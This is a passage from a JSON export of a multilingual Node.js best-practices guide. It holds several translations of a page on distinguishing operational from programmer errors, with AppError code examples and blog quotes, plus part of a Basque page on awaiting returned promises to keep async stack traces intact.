\"否则，您置您应用的状态于风险之中\"\r\n  摘自博客 debugable.com, 对于关键字“Node.JS uncaught exception”排名第3\r\n \r\n > …所以, 除非你真的知道你在做什么, 否则你应该在收到一个\"uncaughtException\"异常事件之后, 对你的服务进行一次优雅的重新启动。否则, 您应用的状态, 或和第三方库的状态变得不一致, 都被置于风险之中，导致各种荒唐的错误…\r\n\r\n ### 博客引用: \"对于错误处理，有三种学院派想法\"\r\n 摘自博客: JS Recipes\r\n \r\n > …对于错误处理，主要有三种学院派想法:\r\n1. 让应用崩溃并重启.\r\n2. 处理所有可能的错误，从不崩溃.\r\n3. 两者之间的折中方案\r\n"
  },
  {
    "path": "sections/errorhandling/operationalvsprogrammererror.french.md",
    "content": "# Distinguez les erreurs opérationnelles des erreurs de programmation\n\n### Un paragraphe d'explication\n\nLa distinction des deux types d'erreur suivants minimisera l'indisponibilité de votre application et aidera à éviter les bogues fous : les erreurs opérationnelles se rapportent à des situations où vous comprenez ce qui s'est passé et son impact - par exemple, une requête vers un service HTTP a échoué en raison d'un problème de connexion. D'un autre côté, les erreurs de programmation se rapportent à des cas où vous n'avez aucune idée de la raison et parfois de l'origine d'une erreur - il peut s'agir d'un code qui a tenté de lire une valeur non définie ou d'un pool de connexions DB qui a une fuite mémoire. Les erreurs opérationnelles sont relativement faciles à gérer - la journalisation de l'erreur suffit généralement. Les choses deviennent compliquées lorsqu'une erreur de programmation apparaît, l'application peut être dans un état incohérent et il n'y a rien de mieux que de redémarrer en douceur.\n\n### Exemple de code - marquer une erreur comme opérationnelle (fiable)\n\n<details>\n<summary><strong>Javascript</strong></summary>\n\n```javascript\n// marquer un objet Error comme opérationnel\nconst myError = new Error('Comment puis-je ajouter un nouveau produit lorsqu\\'aucune valeur n\\'est fournie ?');\nmyError.isOperational = true;\n\n// ou si vous utilisez une fabrique d'erreurs centralisée (voir d'autres exemples pour le point \"Utilisez uniquement l'objet intégré Error\")\nclass AppError {\n  constructor (commonType, description, isOperational) {\n    Error.call(this);\n    Error.captureStackTrace(this);\n    this.commonType = commonType;\n    this.description = description;\n    this.isOperational = isOperational;\n  }\n};\n\nthrow new AppError(errorManagement.commonErrors.InvalidInput, 'Décrivez ici ce qui s\\'est passé', true);\n\n```\n</details>\n\n<details>\n<summary><strong>Typescript</strong></summary>\n\n```typescript\n// une fabrique d'erreurs centralisée (voir d'autres exemples pour le point \"Utilisez uniquement l'objet intégré Error\")\nexport class AppError extends Error {\n  public readonly commonType: string;\n  public readonly isOperational: boolean;\n\n  constructor(commonType: string, description: string, isOperational: boolean) {\n    super(description);\n\n    Object.setPrototypeOf(this, new.target.prototype); // restaure la chaîne du prototype\n\n    this.commonType = commonType;\n    this.isOperational = isOperational;\n\n    Error.captureStackTrace(this);\n  }\n}\n\n// marquer un objet Error comme opérationnel (true)\nthrow new AppError(errorManagement.commonErrors.InvalidInput, 'Describe here what happened', true);\n\n```\n</details>\n\n### Citation de blog : « Les erreurs du programmeur sont des bogues dans le programme »\n\nExtrait du blog de Joyent classé en 1ere position pour les mots clés “Node.js error handling”\n\n > …La meilleure façon de récupérer des erreurs de programmation est de planter immédiatement. Vous devez exécuter vos programmes à l'aide d'un « outil de redémarrage » qui redémarrera automatiquement le programme en cas de plantage. Avec un « outil de redémarrage » en place, le plantage est le moyen le plus rapide de restaurer un service fiable face à une erreur de programmation transitoire…\n\n### Citation de blog : « Aucune solution sûre pour sortir sans créer un état fragile indéfini »\n\nExtrait de la documentation officielle de Node.js\n\n > …De par la nature même du fonctionnement de throw en JavaScript, il n'y a presque jamais aucun moyen de « reprendre là où vous vous étiez arrêté » en toute sécurité, sans fuite de références, ou sans créer une autre sorte d'état fragile non défini. Le moyen le plus sûr de répondre à une erreur levée est d'arrêter le processus. Bien sûr, dans un serveur Web normal, de nombreuses connexions peuvent être ouvertes et il n'est pas raisonnable de les fermer brutalement car une erreur a été déclenchée par quelqu'un d'autre. La meilleure approche consiste à envoyer une réponse d'erreur à la demande qui a déclenché l'erreur tout en laissant les autres se terminer dans leur temps normal et à cesser d'écouter les nouvelles demandes de ce processus.\n\n### Citation de blog : « Sinon, vous risquez l'état de votre application »\n\nExtrait du blog de debugable.com classé en 3ème position pour les mots clés “Node.js uncaught exception”\n\n > …Donc, à moins que vous sachiez vraiment ce que vous faites, vous devez effectuer un redémarrage en douceur de votre service après avoir reçu un événement d'exception « uncaughtException ». Sinon, vous risquez que l'état de votre application, ou celui des bibliothèques tierces, ne devienne incohérent, conduisant à toutes sortes de bugs fous…\n\n### Citation de blog : « Il y a principalement trois écoles de réflexion sur la gestion des erreurs »\n\nExtrait du blog de JS Recipes\n\n> …Il y a principalement trois écoles de réflexion sur la gestion des erreurs :\n1. Laissez l'application se planter et redémarrez-la.\n2. Gérez toutes les erreurs possibles et ne plantez jamais.\n3. Une approche équilibrée entre les deux\n"
  },
  {
    "path": "sections/errorhandling/operationalvsprogrammererror.japanese.md",
    "content": "# 操作上のエラーとプログラマーのエラーを区別する\r\n\r\n### 一段落説明\r\n\r\n操作上のエラーとプログラマーのエラーという 2 つのエラーを区別することは、アプリケーションのダウンタイムを最小化し、とんでもないバグを避ける手助けになります: 操作上のエラーは、発生したことおよびその影響を理解できるエラー状態のことを指します ー 例えば、接続の問題が原因となってある HTTP サービスに対するクエリが失敗した状況などです。一方で、プログラマーのエラーは、エラーがなぜ起こったのか、そしてどこで発生したのかわからないエラー状態のことを指します ー これは、あるコードが未定義の値を参照している場合や、DB コネクションプールがメモリをリークしている場合などがあります。操作上のエラーは比較的処理が簡単です ー 通常、エラーをロギングするだけで十分です。プログラマーのエラーが発生した場合は厄介であり、アプリケーションが不安定な状況に陥り、すぐさま再起動するしかありません。\r\n\r\n### コード例 – 操作上のエラーとしてマークする\r\n\r\n<details>\r\n<summary><strong>Javascript</strong></summary>\r\n\r\n```javascript\r\n// 操作上のエラーとしてエラーオブジェクトをマークする例\r\nconst myError = new Error('How can I add new product when no value provided?');\r\nmyError.isOperational = true;\r\n\r\n// もしくは、集中化されたエラーファクトリーを使っている場合の例（他の例は「組み込みのエラーオブジェクトのみを使用する」のセクションをご覧ください）\r\nclass AppError {\r\n  constructor (commonType, description, isOperational) {\r\n    Error.call(this);\r\n    Error.captureStackTrace(this);\r\n    this.commonType = commonType;\r\n    this.description = description;\r\n    this.isOperational = isOperational;\r\n  }\r\n};\r\n\r\nthrow new AppError(errorManagement.commonErrors.InvalidInput, 'Describe here what happened', true);\r\n\r\n```\r\n</details>\r\n\r\n<details>\r\n<summary><strong>Typescript</strong></summary>\r\n\r\n```typescript\r\n// 集中化されたエラーファクトリーを使っている場合の例（他の例は「組み込みのエラーオブジェクトのみを使用する」のセクションをご覧ください）\r\nexport class AppError extends Error {\r\n  public readonly commonType: string;\r\n  public readonly isOperational: boolean;\r\n\r\n  constructor(commonType: string, description: string, isOperational: boolean) {\r\n    super(description);\r\n\r\n    Object.setPrototypeOf(this, new.target.prototype); // プロトタイプチェーンを復元する\r\n\r\n    this.commonType = commonType;\r\n    this.isOperational = isOperational;\r\n\r\n    Error.captureStackTrace(this);\r\n  }\r\n}\r\n\r\n// 操作上のエラーとしてエラーオブジェクトをマーク (true の部分)\r\nthrow new AppError(errorManagement.commonErrors.InvalidInput, 'Describe here what happened', true);\r\n\r\n```\r\n</details>\r\n\r\n### ブログ引用: \"Programmer errors are bugs in the program\"（プログラマーのエラーはプログラムにおけるバグです）\r\n\r\nブログ Joyent（“Node.js error handling”というキーワードで 1 位）より\r\n\r\n > …プログラマーのエラーから復帰する最も良い方法は直ちにクラッシュさせることです。プログラムがクラッシュしたときに自動的に再起動してくれるリスターターを備えた、プログラムを動かすべきです。リスターターを備えている場合、一時的なプログラマーのエラーに直面した際に、安定したサービスへと復旧させるための一番手っ取り早い方法は、クラッシュさせることになります。\r\n\r\n### ブログ引用: \"No safe way to leave without creating some undefined brittle state\"（不明瞭で不安定な状態を作り出すことなしに、安全に中断する方法はありません）\r\n\r\nNode.js 公式ドキュメントより\r\n\r\n > …JavaScript における throw の挙動の性質上、参照をリークさせたり、不明瞭で不安定な状態を作り出したりすることなく、安全に「中断したところから再開する」方法はほぼありません。投げられたエラーに対応する最も安全な方法は、プロセスをシャットダウンすることです。もちろん、通常のウェブサーバーでは、多くのコネクションがオープン状態になっているかもしれず、エラーが他の誰かによって引き起こされたからといって、それらを急にシャットダウンすることは合理的ではありません。より良いアプローチは、エラーの引き金となったリクエストにエラーレスポンスを送り、他のリクエストは通常の時間内に終了するようにして、そのワーカーにおいて新しいリクエストの受信を停止することです。\r\n\r\n### ブログ引用: \"Otherwise you risk the state of your application\"（さもなければアプリケーションの状態を危険にさらします）\r\n\r\nブログ debugable.com（“Node.js uncaught exception”というキーワードで 3 位）より\r\n\r\n > …ですから、自分が本当に何をしているのか理解していない限り、「uncaughtException」例外イベント受信後は直ちにサービスを再起動すべきです。そうしないと、アプリケーションの状態やサードパーティのライブラリの状態が一貫性を失い、あらゆる種類のとんでもないバグにつながる危険性があります。\r\n\r\n### ブログ引用: \"There are three schools of thoughts on error handling\"（エラー処理について、3 つの考え方があります）\r\n\r\nブログ JS Recipes より\r\n\r\n> …エラー処理について、主に以下の3つの考え方があります:\r\n1. アプリケーションをクラッシュさせ、再起動させる\r\n2. 起こりうるすべてのエラーを処理し、決してクラッシュさせない\r\n3. 上記 2 つをバランスよく取り入れたアプローチ\r\n"
  },
  {
    "path": "sections/errorhandling/operationalvsprogrammererror.korean.md",
    "content": "# 동작상의 에러 vs 프로그래머 에러\r\n\r\n### 한문단 설명\r\n\r\n다음 두 가지의 에러 유형을 구별하면 앱 다운타임(downtime)을 최소화하고 심각한 버그를 방지하는데 도움이 될 것이다: 동작 오류는 발생한 일과 영향에 대해 어떤 상황인지 말한다 – 예를 들면, 연결 문제로 인한 일부 HTTP 서비스 쿼리 실패가 있다. 반면에, 프로그래머 에러는 어디에서 에러가 발생했는지 왜 발생했는지 모르는 경우를 말한다 – 이것은 정의되지 않은 값이나 메모리 누수되는 데이터베이스 연결 풀(connection pool)을 읽으려는 코드일 수 있다. 동작 상의 에러는 비교적 다루기 쉽다 – 보통은 에러를 기록하면 충분하다. 프로그래머 에러가 발생하면, 응용 프로그램이 일관된 상태가 아닐 수도 있으며 이 땐 다시 시작하는 것보다 더 좋은 방법은 없다\r\n\r\n### 코드 예시 – 동작상의 에러 표시 (신뢰됨)\r\n\r\n```javascript\r\n// marking an error object as operational \r\nconst myError = new Error(\"How can I add new product when no value provided?\");\r\nmyError.isOperational = true;\r\n\r\n// or if you're using some centralized error factory (see other examples at the bullet \"Use only the built-in Error object\")\r\nclass AppError {\r\n  constructor (commonType, description, isOperational) {\r\n    Error.call(this);\r\n    Error.captureStackTrace(this);\r\n    this.commonType = commonType;\r\n    this.description = description;\r\n    this.isOperational = isOperational;\r\n  }\r\n};\r\n\r\nthrow new AppError(errorManagement.commonErrors.InvalidInput, \"Describe here what happened\", true);\r\n\r\n```\r\n\r\n### 블로그 인용: \"프로그램에서 프로그래머 에러는 버그다\"\r\n\r\nJoyent 블로그에서 \"Node.js 에러 처리\" 키워드 1위에 위치했다\r\n\r\n > …프로그래머 에러를 복구하는 가장 좋은 방법은 즉시 충돌하는 것이다. 충돌 시 자동으로 프로그램을 다시 시작하는 리스타터(restarter)를 사용하여 프로그램을 실행해야 한다. 리스타터(restarter)를 사용하는 경우, 일시적인 프로그래머 오류에 직면하면 신뢰할 수 있는 서비스를 복구하는 가장 빠른 방법은 충돌이다…\r\n\r\n### 블로그 인용: \"정의되지 않은 취약 상태를 만들지 않고 떠나는 안전한 방법은 없다\"\r\n\r\nNode.js 공식문서에서\r\n\r\n > …자바스크립트에서 던지기(throw) 방식의 특성상, 정의되지 않은 종류의 취약 상태를 만들거나 참조 누수 없이는, 안전하게 \"중단한 곳에서 픽업(pick up)\" 할 수 있는 방법은 거의 없다. 던져진 에러를 처리하는 가장 안전한 방법은 프로세스를 종료하는 것이다. 물론, 일반적인 웹 서버에서는 많은 연결이 열려 있을 수 있으며, 다른 누군가에 의해 오류가 발생했을 수도 있기 때문에 갑자기 연결을 종료하는 것은 적절하지 않다. 더 나은 방법은 다른 사람들이 정상적인 시간에 완료할 수 있도록 하면서 에러를 발생시킨 요청에 대한 에러 응답을 보내고, 새 요청에 대한 응답을 중지하는 것이다.\r\n\r\n### 블로그 인용: \"그렇지 않으면 당신의 애플리케이션 상태가 위험해질 수 있음\"\r\n\r\ndebugable.com 블로그에서 \"Node.js 예상치 못한 예외 처리\" 키워드 3위에 위치했다\r\n\r\n > …그래서, 당신이 정말로 무엇을 하고 있는 지 모른다면, \"예상치 못한 예외 처리(uncaughtException)\" 예외 이벤트를 받은 후 서비스를 다시 시작해야한다. 그렇지 않으면, 애플리케이션 상태나 제 3자 라이브러리의 상태가 일관되지 않아 모든 종류의 심각한 버그가 발생할 위험이 있다…\r\n\r\n### 블로그 인용: \"에러 처리에는 주로 세 가지 방법이 있다\"\r\n\r\nJS Recipes 블로그에서\r\n\r\n> …에러 처리에는 주로 세 가지 방법이 있다:\r\n1. 애플리케이션을 중지하고 다시 시작하기.\r\n2. 가능한 모든 에러를 처리하고 충돌하지 않게 하기.\r\n3. 이 두가지 사이의 균형잡힌 접근"
  },
  {
    "path": "sections/errorhandling/operationalvsprogrammererror.md",
    "content": "# Distinguish operational vs programmer errors\r\n\r\n### One Paragraph Explainer\r\n\r\nDistinguishing the following two error types will minimize your app downtime and helps avoid crazy bugs: Operational errors refer to situations where you understand what happened and the impact of it – for example, a query to some HTTP service failed due to connection problem. On the other hand, programmer errors refer to cases where you have no idea why and sometimes where an error came from – it might be some code that tried to read an undefined value or DB connection pool that leaks memory. Operational errors are relatively easy to handle – usually logging the error is enough. Things become hairy when a programmer error pops up, the application might be in an inconsistent state and there’s nothing better you can do than to restart gracefully\r\n\r\n### Code Example – marking an error as operational (trusted)\r\n\r\n<details>\r\n<summary><strong>Javascript</strong></summary>\r\n\r\n```javascript\r\n// marking an error object as operational \r\nconst myError = new Error('How can I add new product when no value provided?');\r\nmyError.isOperational = true;\r\n\r\n// or if you're using some centralized error factory (see other examples at the bullet \"Use only the built-in Error object\")\r\nclass AppError {\r\n  constructor (commonType, description, isOperational) {\r\n    Error.call(this);\r\n    Error.captureStackTrace(this);\r\n    this.commonType = commonType;\r\n    this.description = description;\r\n    this.isOperational = isOperational;\r\n  }\r\n};\r\n\r\nthrow new AppError(errorManagement.commonErrors.InvalidInput, 'Describe here what happened', true);\r\n\r\n```\r\n</details>\r\n\r\n<details>\r\n<summary><strong>Typescript</strong></summary>\r\n\r\n```typescript\r\n// some centralized error factory (see other examples at the bullet \"Use only the built-in Error object\")\r\nexport class AppError extends Error {\r\n  public readonly commonType: string;\r\n  public readonly isOperational: boolean;\r\n\r\n  constructor(commonType: string, description: string, isOperational: boolean) {\r\n    super(description);\r\n\r\n    Object.setPrototypeOf(this, new.target.prototype); // restore prototype chain\r\n\r\n    this.commonType = commonType;\r\n    this.isOperational = isOperational;\r\n\r\n    Error.captureStackTrace(this);\r\n  }\r\n}\r\n\r\n// marking an error object as operational (true)\r\nthrow new AppError(errorManagement.commonErrors.InvalidInput, 'Describe here what happened', true);\r\n\r\n```\r\n</details>\r\n\r\n### Blog Quote: \"Programmer errors are bugs in the program\"\r\n\r\nFrom the blog, Joyent ranked 1 for the keywords “Node.js error handling”\r\n\r\n > …The best way to recover from programmer errors is to crash immediately. You should run your programs using a restarter that will automatically restart the program in the event of a crash. With a restarter in place, crashing is the fastest way to restore reliable service in the face of a transient programmer error…\r\n\r\n### Blog Quote: \"No safe way to leave without creating some undefined brittle state\"\r\n\r\nFrom Node.js official documentation\r\n\r\n > …By the very nature of how throw works in JavaScript, there is almost never any way to safely “pick up where you left off”, without leaking references, or creating some other sort of undefined brittle state. The safest way to respond to a thrown error is to shut down the process. Of course, in a normal web server, you might have many connections open, and it is not reasonable to abruptly shut those down because an error was triggered by someone else. The better approach is to send an error response to the request that triggered the error while letting the others finish in their normal time, and stop listening for new requests in that worker.\r\n\r\n### Blog Quote: \"Otherwise you risk the state of your application\"\r\n\r\nFrom the blog, debugable.com ranked 3 for the keywords “Node.js uncaught exception”\r\n\r\n > …So, unless you really know what you are doing, you should perform a graceful restart of your service after receiving an “uncaughtException” exception event. Otherwise, you risk the state of your application, or that of 3rd party libraries to become inconsistent, leading to all kinds of crazy bugs…\r\n\r\n### Blog Quote: \"There are three schools of thoughts on error handling\"\r\n\r\nFrom the blog: JS Recipes\r\n\r\n> …There are primarily three schools of thoughts on error handling:\r\n>1. Let the application crash and restart it.\r\n>2. Handle all possible errors and never crash.\r\n>3. A balanced approach between the two\r\n"
  },
  {
    "path": "sections/errorhandling/operationalvsprogrammererror.polish.md",
    "content": "# Rozróżnij błędy operacyjne i programistyczne\n\n### Wyjaśnienie jednym akapitem\n\nRozróżnienie następujących dwóch typów błędów zminimalizuje przestoje aplikacji i pomoże uniknąć szalonych błędów: Błędy operacyjne odnoszą się do sytuacji, w których rozumiesz, co się stało i ich wpływ - na przykład zapytanie do jakiejś usługi HTTP nie powiodło się z powodu problemu z połączeniem. Z drugiej strony błędy programisty odnoszą się do przypadków, w których nie masz pojęcia, dlaczego, a czasem skąd pochodzi błąd - może to być jakiś kod, który próbował odczytać niezdefiniowaną wartość lub pula połączeń BD, z której wycieka pamięć. Błędy operacyjne są stosunkowo łatwe w obsłudze - zwykle wystarczy zarejestrować błąd. Gdy pojawia się błąd programisty, rzeczy stają się zagmatwane, aplikacja może być niespójna i nie ma nic lepszego niż ją po prostu zrestartować.\n\n### Przykład kodu - oznaczenie błędu jako działającego (zaufanego)\n\n<details>\n<summary><strong>Javascript</strong></summary>\n\n```javascript\n// marking an error object as operational \nconst myError = new Error('How can I add new product when no value provided?');\nmyError.isOperational = true;\n\n// or if you're using some centralized error factory (see other examples at the bullet \"Use only the built-in Error object\")\nclass AppError {\n  constructor (commonType, description, isOperational) {\n    Error.call(this);\n    Error.captureStackTrace(this);\n    this.commonType = commonType;\n    this.description = description;\n    this.isOperational = isOperational;\n  }\n};\n\nthrow new AppError(errorManagement.commonErrors.InvalidInput, 'Describe here what happened', true);\n\n```\n</details>\n\n<details>\n<summary><strong>Typescript</strong></summary>\n\n```typescript\n// some centralized error factory (see other examples at the bullet \"Use only the built-in Error object\")\nexport class AppError extends Error {\n  public readonly commonType: string;\n  public readonly isOperational: boolean;\n\n  constructor(commonType: string, description: string, isOperational: boolean) {\n    super(description);\n\n    Object.setPrototypeOf(this, new.target.prototype); // restore prototype chain\n\n    this.commonType = commonType;\n    this.isOperational = isOperational;\n\n    Error.captureStackTrace(this);\n  }\n}\n\n// marking an error object as operational (true)\nthrow new AppError(errorManagement.commonErrors.InvalidInput, 'Describe here what happened', true);\n\n```\n</details>\n\n### Cytat z Bloga: \"Programmer errors are bugs in the program\"\n\nZ bloga, Joyent ranked 1 for the keywords “Node.js error handling”\n\n > …The best way to recover from programmer errors is to crash immediately. You should run your programs using a restarter that will automatically restart the program in the event of a crash. With a restarter in place, crashing is the fastest way to restore reliable service in the face of a transient programmer error…\n\n### Cytat z Bloga: \"No safe way to leave without creating some undefined brittle state\"\n\nZ oficjalnej dokumentacji Node.js\n\n > …By the very nature of how throw works in JavaScript, there is almost never any way to safely “pick up where you left off”, without leaking references, or creating some other sort of undefined brittle state. The safest way to respond to a thrown error is to shut down the process. Of course, in a normal web server, you might have many connections open, and it is not reasonable to abruptly shut those down because an error was triggered by someone else. The better approach is to send an error response to the request that triggered the error while letting the others finish in their normal time, and stop listening for new requests in that worker.\n\n### Cytat z Bloga: \"Otherwise you risk the state of your application\"\n\nZ bloga, debugable.com ranked 3 for the keywords “Node.js uncaught exception”\n\n > …So, unless you really know what you are doing, you should perform a graceful restart of your service after receiving an “uncaughtException” exception event. Otherwise, you risk the state of your application, or that of 3rd party libraries to become inconsistent, leading to all kinds of crazy bugs…\n\n### Cytat z Bloga: \"There are three schools of thoughts on error handling\"\n\nZ bloga: JS Recipes\n\n> …There are primarily three schools of thoughts on error handling:\n> 1. Let the application crash and restart it.\n> 2. Handle all possible errors and never crash.\n> 3. A balanced approach between the two\n"
  },
  {
    "path": "sections/errorhandling/operationalvsprogrammererror.russian.md",
    "content": "# Различайте операционные ошибки и ошибки программиста\r\n\r\n### Объяснение в один абзац\r\n\r\nРазделение ошибок на эти два типа минимизирует время простоя вашего приложения и помогает избежать сумасшедших ошибок: операционные ошибки относятся к ситуациям, когда вы понимаете происходящее и влияние ошибки на программу. Например, запрос к какой-нибудь службе HTTP не выполнен из-за проблемы с подключением. С другой стороны, ошибки программиста относятся к случаям, когда вы не знаете, почему, а иногда и откуда возникла ошибка - это может быть какой-то код, который пытался прочитать undefined-значение или код, который использует пул соединений с БД и приводит к утечке памяти. Операционные ошибки относительно легко обрабатываются - обычно достаточно логирования ошибки. Хуже становиться, когда появляется ошибка программиста, приложение может быть в несогласованном состоянии, и все, что вы можете сделать - перезапустить приложение.\r\n\r\n### Пример кода - помечаем ошибку как операционную (доверенную)\r\n\r\n<details>\r\n<summary><strong>Javascript</strong></summary>\r\n\r\n```javascript\r\n// помечаем объект ошибки, как операционный\r\nconst myError = new Error('Как мы можем добавить продукт, если значение не задано?');\r\nmyError.isOperational = true;\r\n\r\n// или, если вы используете централизированную фабрику ошибок (смотрите другие примеры в статье \"Используйте только встроенный объект Error\")\r\nclass AppError {\r\n  constructor (commonType, description, isOperational) {\r\n    Error.call(this);\r\n    Error.captureStackTrace(this);\r\n    this.commonType = commonType;\r\n    this.description = description;\r\n    this.isOperational = isOperational;\r\n  }\r\n};\r\n\r\nthrow new AppError(errorManagement.commonErrors.InvalidInput, 'Описываем, что произошло', true);\r\n\r\n```\r\n</details>\r\n\r\n<details>\r\n<summary><strong>Typescript</strong></summary>\r\n\r\n```typescript\r\n// или, если вы используете централизированную фабрику ошибок (смотрите другие примеры в статье \"Используйте только встроенный объект Error\")\r\nexport class AppError extends Error {\r\n  public readonly commonType: string;\r\n  public readonly isOperational: boolean;\r\n\r\n  constructor(commonType: string, description: string, isOperational: boolean) {\r\n    super(description);\r\n\r\n    Object.setPrototypeOf(this, new.target.prototype); // восстанавливаем цепочку прототипов\r\n\r\n    this.commonType = commonType;\r\n    this.isOperational = isOperational;\r\n\r\n    Error.captureStackTrace(this);\r\n  }\r\n}\r\n\r\n// помечаем объект ошибки, как операционный (true)\r\nthrow new AppError(errorManagement.commonErrors.InvalidInput, 'Describe here what happened', true);\r\n\r\n```\r\n</details>\r\n\r\n### Цитата блога: \"Ошибки программиста - это ошибки в программе\"\r\n\r\nИз блога Джойент, занявшего 1 место по ключевым словам \"Обработка ошибок Node.js\"\r\n\r\n> … Лучший способ исправить ошибки программиста - это сразу же аварийно завершить работу. Вы должны запускать свои программы, используя сервис перезапуска, который автоматически будет перезапускать программу в случае сбоя. Сервис перезапуска является самым простым способом надежного восстановления сервиса при возникновении временной ошибки программиста…\r\n\r\n### Цитата из блога: \"Нет безопасного способа продолжить без возникновения хрупкого undefined-состояния системы\"\r\n\r\nИз официальной документации Node.js\r\n\r\n> …По самой природе того, как throw работает в JavaScript, почти всегда нет способа безопасно \"начать оттуда, где мы остановились\", без утечки ссылок или создания другого undefined-состояния. Самый безопасный способ отреагировать на возникшую ошибку - завершить процесс. Конечно, на обычном веб-сервере у вас может быть открыто много подключений, и нет смысла внезапно закрывать все, потому что кто-то другой выбросил ошибку. Лучший вариант - отправить ответ об ошибке на запрос, который ее вызвал, позволяя остальным завершить работу в удобное время, и после прекратить прослушивание новых запросов в воркере, в котором возникла ошибка.\r\n\r\n### Цитата блога: \"В противном случае вы рискуете состоянием вашего приложения\"\r\n\r\nИз блога debugable.com, занявшего 3 место по ключевым словам \"Node.js uncaught exception\"\r\n\r\n> …Итак, если вы действительно не знаете, что делаете, вам следует выполнить постепенный перезапуск службы после получения события исключения \"uncaughtException\". В противном случае вы рискуете привести к несогласованности состояния вашего приложения или сторонних библиотек, что приведет к всевозможным сумасшедшим ошибкам…\r\n\r\n### Цитата блога: \"Есть три школы мысли об обработке ошибок\"\r\n\r\nИз блога: JS Recipes\r\n\r\n> …Существует три основных направления работы с ошибками:\r\n1. Дайте приложению упасть и перезапустите его.\r\n2. Обрабатывайте все возможные ошибоки и никогда не роняйте сервис.\r\n3. Сбалансированный подход между двумя предыдущими."
  },
  {
    "path": "sections/errorhandling/returningpromises.basque.md",
    "content": "# Agintzak itzultzea\n\n<br/>\n\n### Azalpena\n\nErrore bat gertatzen denean fluxu sinkrono edo asinkrono batetik abiatuta, derrigorrezkoa da errore fluxuaren pila aztarna osoa edukitzea. Harrigarria bada ere, funtzio asinkrono batek (adibidez beste funtzio asinkrono bat deitzen duena) itxaron gabe (await) promesak itzultzen dituenean, errore bat gertatuko litzateke eta jatorrizko funtzio horren izena ez litzateke pilaren aztarnan agertu beharko. Horrek informazio partziala emango dio errorea diagnostikatzen duenari, are gehiago errorearen zergatiak jatorrizko funtzioan badu oinarria. Badago \"zero-kostuko pila aztarna asinkronoak\" deitzen den v8 funtzionalitate bat, pila aztarnak azken gertatu berri den `await`ean moztuak ez izatea ahalbidetzen duena. Garrantzirik gabeko inplementazio xehetasunak direla eta, horrek ez du funtzionatuko funtzioak bueltatzen duen balioa (sinkronoa edo asinkronoa) promesa bat baldin bada. Promesak deuseztatzen direnean pilaren aztarnan zuloak egotea ekiditeko, promesak beti esplizituki ebatzi behar ditugu `await` erabiliz beraiek funtzioetatik bueltatu baino lehen\n\n<br/>\n\n### Anti ereduaren kode adibidea: funtzio asinkronoak deitu itxaron gabe\n\n<details><summary>Javascript</summary>\n<p>\n\n```javascript\nasync function asyncJaurti(mezua) {\n  await null // benetako asinkronoa den zerbaiti itxaron beharra (begiratu #2 puntua)\n  throw Error(mezua)\n}\n\nasync function bueltatuItxaronGabe () {\n  return asyncJaurti('bueltatuItxaronGabe falta da pilaren aztarnan')\n}\n\n// 👎 EZ du edukiko bueltatuItxaronGabe pilaren aztarnan\nbueltatuItxaronGabe().catch(console.log)\n```\n\nerregistratuko du\n\n```\nErrorea: bueltatuItxaronGabe falta da pilaren aztarnan\n    asyncJaurti-ren barruan ([...])\n```\n</p>\n</details>\n\n### Kode adibidea: zuzenean deitu eta itxaron\n\n<details><summary>Javascript</summary>\n<p>\n\n```javascript\nasync function asyncJaurti(mezua) {\n  await null // benetako asinkronoa den zerbaiti itxaron beharra (begiratu #2 puntua)\n  throw Error(mezua)\n}\n\nasync function bueltatuItxaronda() {\n  return await asyncJaurti('zati guztiak edukiz')\n}\n\n// 👍bueltatuItxaronda edukiko du pilaren aztarnan\nbueltatuItxaronda().catch(console.log)\n```\n\nerregistratuko du\n\n```\nError: zati guztiak edukiz\n    asyncJaurti-ren barruan ([...])\n    bueltatuItxaronda-ren barruan ([...])\n```\n\n</p>\n</details>\n\n<br/>\n\n### Anti ereduaren kode adibidea: itzuli promesak funtzioak asinkronotzat etiketatu gabe\n\n<details><summary>Javascript</summary>\n<p>\n\n```javascript\nasync function asyncJaurti () {\n  await null // benetako asinkronoa den zerbaiti itxaron beharra (begiratu #2 puntua)\n  throw Error('syncFn falta da pilaren aztarnan')\n}\n\nfunction syncFn () {\n  return asyncJaurti()\n}\n\nasync function asyncFn () {\n  return await syncFn()\n}\n\n// 👎 ez dut edukiko syncFn pilaren aztarnan promesak itzultzen dituelako sinkronizatzen den ari den bitartean\nasyncFn().catch(console.log)\n```\n\nerregistratuko du\n\n```\nError: syncFn falta da pilaren aztarnan\n    asyncJaurti-ren barruan ([...])\n    async asyncFn-en barruan ([...])\n```\n\n</p>\n</details>\n\n### Kode adibidea: etiketatu promesak asinkrono gisa itzultzen dituen funtzioa\n\n<details><summary>Javascript</summary>\n<p>\n\n```javascript\nasync function asyncJaurti () {\n  await null // benetako asinkronoa den zerbaiti itxaron beharra (begiratu #2 puntua)\n  throw Error('zati guztiak edukiz')\n}\n\nasync function syncEtikAsyncFnraAldatua() {\n  return await asyncJaurti()\n}\n\nasync function asyncFn () {\n  return await syncEtikAsyncFnraAldatua()\n}\n\n// 👍 orain syncEtikAsyncFnraAldatua pilaren aztarnan agertuko da\nasyncFn().catch(console.log)\n```\n\nerregistratuko du\n\n```\nError: zati guztiak edukiz\n    asyncJaurti-ren barruan ([...])\n    syncEtikAsyncFnraAldatua-ren barruan ([...])\n    async asyncFn-en barruan ([...])\n```\n\n</p>\n</details>\n\n<br/>\n\n### #3 anti ereduaren kode adibidea: callback asinkronoen erabilera zuzena callback sinkronoa espero zen lekuan\n\n<details><summary>Javascript</summary>\n<p>\n\n```javascript\nasync function berreskuratuErabiltzailea (id) {\n  await null\n  if (!id) throw Error('pilaren aztarna falta da berreskuratuErabiltzailea deitu den lekuan')\n  return {id}\n}\n\nconst erabiltzaileIdak = [1, 2, 0, 3]\n\n// 👎 pilaren aztarnak berreskuratuErabiltzailea funtzioa edukiko du baina ez du zehaztuko non izan den deitua\nPromise.all(erabiltzaileIdak.map(berreskuratuErabiltzailea)).catch(console.log)\n```\n\nerregistratuko du\n\n```\nError: pilaren aztarna falta da berreskuratuErabiltzailea deitu den lekuan\n    berreskuratuErabiltzailea-en barruan ([...])\n    async Promise.all-en barruan (index 2)\n```\n\n*Apunte bat*: pentsa liteke `Promise.all (index 2)`ek `berreskuratuErabiltzailea` deitua izan den lekua ulertzen lagundu dezakela, baina [guztiz ezberdina den v8ko akatsa](https://bugs.chromium.org/p/v8/issues/detail?id=9023) dela eta, `(index 2)` v8 barneko lerro bat da\n\n</p>\n</details>\n\n### Kode adibidea: bildu callback asinkronoa funtzio asinkrono faltsu batean callback sinkrono gisa bidali aurretik\n\n<details><summary>Javascript</summary>\n<p>\n\n*1.oharra*: callbacka deituko duen funtzioaren kodea kontrolatuz 